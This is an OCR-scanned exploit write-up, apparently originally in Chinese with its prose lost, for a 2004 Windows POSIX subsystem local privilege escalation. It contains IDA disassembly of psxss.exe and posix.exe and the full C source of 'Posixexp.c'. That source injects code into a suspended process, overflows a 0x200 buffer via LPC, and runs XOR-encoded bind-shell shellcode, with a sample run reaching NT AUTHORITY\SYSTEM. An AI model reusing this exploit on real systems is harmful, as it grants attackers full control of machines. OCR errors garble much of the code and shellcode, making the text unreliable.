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[ pSxss.exe sub_4A7861BE
Format .text:4A7861BE sub_4A7861BE proc near ; CODE XREF: sub_4A785BBC+1750p
String .text:4A7861BE
/ .text:4A7861BE var_500 = dword ptr -500h
() text:4A7861BE var_400 = dword ptr -400h
.text:4A7861BE var_201 = byte ptr -201h
ELE .text:4A7861BE var_200 = dword ptr -200h
- .text:4A7861BE arg_0 = dword ptr 8
1) .text:4A7861BE arg_4 = dword ptr 0Ch

.text:4A7861BE

.text:4A7861BE push ebp

.text:4A7861BF mov ebp, esp
.text:4A7861C1 sub esp, 500h
.text:4A7861C7 push ebx

.text:4A7861C8 push esi

.text:4A7861C9 push edi

text:4A7861CA mov eax, large fs:18h
.text:4A7861D0 mov eax, [eax+30h]
.text:4A7861D3 cmp dword ptr [eax+1D4h], 0
.text:4A7861DA jz short loc_4A78620B ;
.text:4A7861DC mov eax, large fs:18h
text:4A7861E2 mov eax, [eax+30h]
.text:4A7861ES5 push offset dword_4A7814A4
.text:4A7861EA push dword ptr [eax+1D4h]




.text:4A7861FO0 lea eax, [ebp+var_200]
.text:4A7861F6 push offset aSessions_0 ; "\\Sessions"
.text:4A7861FB push offset aSDS ; "%s\\%d%s"
.text:4A786200 push eax
.text:4A786201 call _sprintf
.text:4A786206 add esp, 14h
.text:4A786209 jmp short loc_4A78621A
.text:4A786208B ;

2
text:4A78620B
.text:4A78620B loc_4A78620B: ; CODE XREF: sub_4A7861BE+1C[Jj
text:4A78620B mov esi, offset dword_4A7814A4
.text:4A786210 lea edi, [ebp+var_200]
text:4A786216 movsd
text:4A786217 movsd
text:4A786218 movsd
text:4A786219 movsb
text:4A78621A
.text:4A78621A loc_4A78621A: ; CODE XREF: sub_4A7861BE+4B[j
text:4A78621A mov eax, [ebp+arg_4]
text:4A78621D or ebx, OFFFFFFFFh
text:4A786220 mov ecx, ebx
text:4A786222 lea edx, [ebp+var_200]
text:4A786228 mov edi, [eax+4] ;eax+4 LPC
.text:4A78622B xor eax, eax
.text:4A78622D repne scasb
text:4A78622F not ecx ;
text:4A786231 sub edi, ecx
text:4A786233 mov esi, edi
.text:4A786235 mov edi, edx
text:4A786237 mov edx, ecx
.text:4A786239 mov ecx, ebx
.text:4A78623B repne scasb
text:4A78623D mov ecx, edx
text:4A78623F dec edi
text:4A786240 shr ecx, 2
text:4A786243 rep movsd
text:4A786245 mov ecx, edx
text:4A786247 lea edx, [ebp+var_400]
.text:4A78624D and ecx, 3
.text:4A786250 rep movsb ; ebp-0x200 buffer

unsigned char buf[0>;200]

memcpy(buf,MessageData,strlen(MessageData));

MessageData >0x200, ebp,eip
MessageData posix
d:\aaa\ posix /P c:\winnt\system32\pax.exe /C pax
,MessageData d:\aaa
"\DosDevices\".
windows 256, ,
LPC ,
1. LPC , .
2. HOOK ,hook posix.exe GetCurrentDirectoryA API

3. posix.exe,



’ ’ ’

1 .psxss LPC 3 port ,

2 HOOK , GetCurrentDirectoryA API

3 , , .

4 , ( eyas idea @.@).
posix.exe :

+ +

.text:0100343D mov edi, offset dword_10126B8
.text:01003442 push edi
.text:01003443 push 105h

.text:01003448 call GetCWD <--- GetCurrentDirectoryA()

.text:0100344D push [esp+1Ch+arg_8]

.text:01003451 push esi

.text:01003452 push [esp+24h+arg_0]

.text:01003456 push edi

.text:01003457 push ebp

.text:01003458 push [esp+30h+arg_4]

.text:0100345C call StartProcess

.text:01003461 test eax, eax

.text:01003463 jnz short loc_1003475

.text:01003465 push 5

+ +
.text:01003514 GetCWD proc near ; CODE XREF: main+1770p
.text:01003514

.text:01003514 FindFileData = _WIN32_FIND_DATAA ptr -140h
.text:01003514 nBufferLength = dword ptr 4

.text:01003514 IpBuffer = dword ptr 8

.text:01003514

.text:01003514 sub esp, 140h

.text:0100351A push ebx

.text:0100351B push ebp

.text:0100351C push esi

.text:0100351D mov esi, [esp+14Ch+IpBuffer]
.text:01003524 push edi

.text:01003525 push esi ; IpBuffer

.text:01003526 push [esp+154h+nBufferLength] ; nBufferLength
.text:0100352D call ds:_imp__ GetCurrentDirectoryA
.text:01003533 movsx eax, byte ptr [esi]

.text:01003536 push eax ; int

.text:01003537 call toupper

.text:0100353C pop ecx

.text:0100353D mov [esi], al

.text:0100353F push 5Ch ; int

.text:01003541 push esi ; char *

.text:01003542 call strchr

.text:01003547 mov ebp, eax

.text:01003549 pop ecx

.text:0100354A test ebp, ebp

.text:0100354C pop ecx

.text:0100354D jz short loc_10035B4

.text:0100354F inc ebp

.text:01003550

.text:01003550 loc_1003550: ; CODE XREF: GetCWD+990j
.text:01003550 push 5Ch ; int

.text:01003552 push ebp ; char *

.text:01003553 call strchr

.text:01003558 mov ebx, eax

.text:0100355A pop ecx

.text:0100355B test ebx, ebx

.text:0100355D pop ecx

.text:0100355E jz short loc_1003563

.text:01003560 and byte ptr [ebx], O

.text:01003563

.text:01003563 loc_1003563: ; CODE XREF: GetCWD+4A[j
.text:01003563 lea eax, [esp+150h+FindFileData]
.text:01003567 push eax ; IpFindFileData

.text:01003568 push esi ; IpFileName

.text:01003569 call ds:_imp__ FindFirstFileA

port

<0x200



.text:0100356F cmp eax, OFFFFFFFFh
.text:01003572 jz short loc_10035AF
.text:01003574 push eax ; hFindFile
.text:01003575 call ds:_imp__ FindClose
.text:0100357B lea edi, [esp+150h+FindFileData.cFileName]
.text:0100357F or ecx, OFFFFFFFFh
.text:01003582 xor eax, eax
.text:01003584 repne scasb
.text:01003586 not ecx
.text:01003588 sub edi, ecx
.text:0100358A mov eax, ecx
.text:0100358C mov esi, edi
.text:0100358E mov edi, ebp
.text:01003590 shr ecx, 2
.text:01003593 rep movsd
.text:01003595 mov ecx, eax
.text:01003597 and ecx, 3
.text:0100359A test ebx, ebx
.text:0100359C rep movsb
.text:0100359E jz short loc_10035B4
.text:010035A0 mov esi, [esp+150h+IpBuffer]
.text:010035A7 mov byte ptr [ebx], 5Ch
.text:010035AA lea ebp, [ebx+1]
.text:010035AD jmp short loc_1003550
.text:010035AF ;
?
.text:010035AF
.text:010035AF loc_10035AF: ; CODE XREF: GetCWD+5E[;j
.text:010035AF or eax, OFFFFFFFFh
.text:010035B2 jmp short loc_10035B6
.text:010035B4 ;
2
.text:010035B4
.text:010035B4 loc_10035B4: ; CODE XREF: GetCWD+390Jj
.text:010035B4 ; GetCWD+8A[j
.text:010035B4 xor eax, eax
.text:010035B6
.text:010035B6 loc_10035B6: ; CODE XREF: GetCWD+9E[]j
.text:010035B6 pop edi
.text:010035B7 pop esi
.text:010035B8 pop ebp
.text:010035B9 pop ebx
.text:010035BA add esp, 140h
.text:010035CO0 retn 8
.text:010035C0 GetCWD endp
+ +

, .data 0x10126B8 (edi
) LPC.
.text:0100343D mov edi, offset dword_10126B8
.text:01003442 push edi
.text:01003443 push 105h
.text:01003448 call GetCWD <--- GetCurrentDirectoryA()
.text:0100344D push [esp+1Ch+arg_8]
.text:01003451 push esi
.text:01003452 push [esp+24h+arg_0]
.text:01003456 push edi
.text:01003457 push ebp
.text:01003458 push [esp+30h+arg_4]
.text:0100345C call StartProcess

.text:0100343D mév edi, OurDataAddr
text:01003442 jmp 0100344D

.text:0100344D push [esp+1Ch+arg_8]
.text:01003451 push esi
.text:01003452 push [esp+24h+arg_0]
.text:01003456 push edi
.text:01003457 push ebp

),StartProcess



.text:01003458 push [esp+30h+arg_4]
.text:0100345C call StartProcess

Ok
CreateProcess() with CREATE_SUSPENDED arg -> VirtualAllocEx() -> VirtualProtectEx()
-> WriteProcessMemory() ( shellcode) ->
VirtualProtectEx() ( text ) -> WriteProcessMemory() ( ) ->
ResumeThread()
eip ) jmp esp

shellcode , bind port,

jmp esp , esp , esp 4 ,

shellcode ,
. exploit:

/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit

*

* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED

*

* Posixexp.c By bkbll (bkbll#cnhonker.net,bkbll#tom.com) http://www.cnhonker.com
*

*2004/07/16

*
* thanks to eyas#xfocus.org
*
*

C:\>whoami
VITUALWIN2K\test

C:\>posixexp
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) http://www.cnhonker.com

pax: illegal option--h

Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte

pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]

[-t device] [-x format] [pathname...]

pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory

For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]

© 1985-2000 Microsoft Corp.

C:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>exit
[+] Connection closed in exit command.

C:\>
*/

#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

#define PATCHADDR 0x0100343D I posix.exe
#define MEMSIZE 0x350

#define CODESIZE 50

#define bind_port_offset 116

#define RETADDR 0x796E9B53 //advapi32.dll jmp esp

// [ebp-0x200] [saved ebp] [saved eip]

#define EIPLOCATION 0x200+4-12 //12 "\DosDevices\"
#define CANWRITEADDR 0x7ffdfo2c  // +0x20



#define VERSION "1.0"
unsigned short bindport = 60000;

unsigned char jmpcode[]=

"\x33\xC0" /Ixor eax,eax
"\x66\xB8\xcO\x01" //mov ax,0x1ff
"\x40" /linc eax

"\x2B\xE0" //sub esp,eax
"\XFF\XE4" /limp esp
"\x00"; /NO zero NULL

unsigned char bind_shell[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa"
"\xeb\x05\xe8\xeb\xfAAxff\xff"

/* 302 bytes shellcode, xor with Oxee */
"\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb 7\x06\x72\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x 7b"
"\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c"
"\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x 7e\xef\xee\xee\x65\x22\xbf\x86"
"\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65"
"\x02\xbf\xbf\xbfixbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb"
"\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c"
"\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45"
"\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf"
"\xbf\xbf\x84\xef\xbf\xbfixbb\xbfix11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbfixb8\x65\x9b"
"\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7"
"\xaf\x43\xed\x2b\xdd\x35\xe 1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe 3"
"\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88"
"\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb 7"
"\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20"
"\x0e\x8e\x43\x37\xeb\x20\x37\xe 7\x1b\x43\x4a\xf4\x9e\x29\x4a\x4 3"
"\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x 12\xd5"

1

int readwrite(SOCKET fd);
int client_connect(int sockfd,char* server,int port);

main()

STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID pdwCodeRemote;

unsigned int coMemSize = MEMSIZE;
DWORD dwOldProtect,dwNumBytesXferred;
unsigned char bufferfflMEMSIZE];
unsigned int buflen=0;

unsigned char textbuf[CODESIZE];
inti;

unsigned short Iports;

char cmdarg[400];

char systemdirfMAX_PATH+1];
WSADATA wsd;

SOCKET sockfd;

printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)
\n",VERSION);

printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) http://www.cnhonker.com\;n\n");

if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)

{

printf("[-] WSAStartup error:%d\n", WSAGetLastError());
return -1;

}

i = GetWindowsDirectory(systemdir, MAX_PATH);

systemdir[i]="0";

_snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32
\\pax.exe /C pax -h",systemdir,systemdir);

[lprintf("cmdarg:%s\n",cmdarg);

[lexit(0);



ZeroMemory(&si,sizeof(si));

si.cb = sizeof(si);

ZeroMemory( &pi,sizeof(pi));

l[create process

1 pPSXss

if('CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))

{
printf("CreateProcessl failed:%d\n", GetLastError());
return O;

}

WaitForSingleObject(pi.hProcess, INFINITE);

1

ZeroMemory(&si,sizeof(si));

si.ch = sizeof(si);

ZeroMemory( &pi,sizeof(pi));

if('CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0,
&si, &pi))

printf("CreateProcess2 failed:%d\n", GetLastError());
return O;

/lalloc from remote process
pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL,
cbMemSize, MEM_COMMIT | MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
if (pdwCodeRemote == NULL)
{
TerminateProcess(pi.hProcess,0);
printf("VirtualAllocEx failed:%d\n",GetLastError());
return O;

}
printf("Remote addr:0x%08x\n",pdwCodeRemote);
/lwe can write and execute
if(VirtualProtectEx(pi.hProcess, pdwCodeRemote,
cbMemSize,PAGE_EXECUTE_READWRITE, &dwOIdProtect))
{
TerminateProcess(pi.hProcess,0);
printf("VirtualProtectEx failed:%d\n",GetLastError());
return O;

/Imake shellcode
Iports = htons(bindport)*Oxeeee;
memcpy(bind_shell+bind_port_offset,&Iports,2);

memset(buffer,"\x90', MEMSIZE);
/Imemset(buffer,'A,EIPLOCATION);
bufferflMEMSIZE-1] = \0';
i=sizeof(bind_shell)-1;

if(i >= EIPLOCATION)

printf("shellcode so large:%d,must < %d\n",i, MEMSIZE);
TerminateProcess(pi.hProcess,0);
return O;

}

i=EIPLOCATION-j;

memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);

*(unsigned int*)(buffer+EIPLOCATION) = RETADDR; // eip

*(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR,; //

memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);

[lwrite in to target

buflen=MEMSIZE;

if('WriteProcessMemory
(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred))

TerminateProcess(pi.hProcess,0);
printf("WriteProcessMemory failed:%d\n",GetLastError());
return O;

//modified the process .text
if(VirtualProtectEx(pi.hProcess,(LPVOID)
PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect))

TerminateProcess(pi.hProcess,0);



printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError());
return O;
}
)
i=0;
textbuf[i++]="xbf";
textbuffi++]=(DWORD)pdwCodeRemote & Oxff; //mov edi,pdwCodeRemote
textbuffi++]=((DWORD)pdwCodeRemote >> 8 ) & Oxff;
textbuffi++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
textbuffi++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
I
textbuffi++]="\xeb";
textbufli++]="x09"; //jmp .+0b
)
if('WriteProcessMemory(pi.hProcess,(LPVOID)

PATCHADDR  textbuf,i,&dwNumBytesXferred))

}

TerminateProcess(pi.hProcess,0);
printf("WriteProcessMemory failed:%d\n",GetLastError());
return O;

}

ResumeThread(pi.hThread);

Sleep(5);

sockfd=WSASocket(2,1,0,0,0,0);

if(sockfd == INVALID_SOCKET)

printf("[-] WSASocket error:%d\n", WSAGetLastError());
return -1;

}
if(client_connect(sockfd,"127.0.0.1",bindport) < 0)

closesocket(sockfd);
printf("[-] Maybe not success?\n");

readwrite(sockfd);
TerminateProcess(pi.hProcess,0);
WaitForSingleObject(pi.hProcess, INFINITE);

int readwrite(SOCKET fd)

{

fd_set fdr1;

unsigned char buffer[1024];
int istty,ctl,ct2;

struct timeval timer;

memset(buffer,0,sizeof(buffer));
istty=_isatty(0);

timer.tv_sec=0;
timer.tv_usec=0;

while(1)

{
FD_ZERO(&fdrl);
FD_SET(fd,&fdrl);
ctl=select(0,&fdr1,NULL,NULL,&timer);
if(ctl==SOCKET_ERROR)

printf("[-] select error:%d\n",GetLastError());
break;

}
if(FD_ISSET(fd,&fdr1))

ctl=recv(fd,buffer,sizeof(buffer)-1,0);
if((ctl==SOCKET_ERROR) || (ct1==0))

printf("[-] target maybe close the socket.\n");
break;

}
if(_write(1,buffer,ct1)<=0)
{



printf("[-] write to stdout error:%d\n",GetLastError());
break;

}

memset(buffer,0,sizeof(buffer));
}
if(istty)
{

if(_kbhit()) /* stdin can read */
{

ctl=read(0,buffer,sizeof(buffer)-1);
if(ctl <= 0)

printf("[-] read from stdin error:%d\n",GetLastError());
break;

}
ct2=send(fd,buffer,ct1,0);
if((ct2==SOCKET_ERROR) || (ct2==0))

printf("[-] target maybe close the socket.\n");
break;

}
if( strnicmp(buffer, "exit", 4) == 0)

printf("[+] Connection closed in exit command.\n");
break;

memset(buffer,0,sizeof(buffer));

}
}

else

{
ctl=read(0,buffer,sizeof(buffer)-1);
if(ctl<=0)

printf("[-] read from nontty stdin error:%d\n",GetLastError());
break;

}
ct2=send(fd,buffer,ct1,0);
if((ct2==SOCKET_ERROR) || (ct2==0))

printf("[-] target maybe close the socket\n");
break;

}
if( strnicmp(buffer, "exit", 4) == 0)

printf("[+] Connection closed in exit command.\n");
break;

memset(buffer,0,sizeof(buffer));

}
return(1);
I* server port */
int client_connect(int sockfd,char* server,int port)

{

struct sockaddr_in cliaddr;

struct hostent *host;

short port2;

port2=port & Oxffff;
if((host=gethostbyname(server))==NULL)

printf("gethostbyname(%s) error\n",server);
return(-1);



memset(&cliaddr,0,sizeof(struct sockaddr));
cliaddr.sin_family=AF_INET;

cliaddr.sin_port=htons(port2);

cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)

printf("[-] Trying %s:%d error\n",server,port);
closesocket(sockfd);
return(-1);

}
[lprintf("ok\r\n");

return(0);
}
1. MSDN
2. http://lwww.windowsitlibrary.com/Content/356/08/1.html
3. http://www.xfocus.net/articles/200306/545.html
, posix ,posix LPC port ,
ExitThread() .
posix,pax , pskill ,PSXSS LPC port
pSXss ,
kill . , LPC ,
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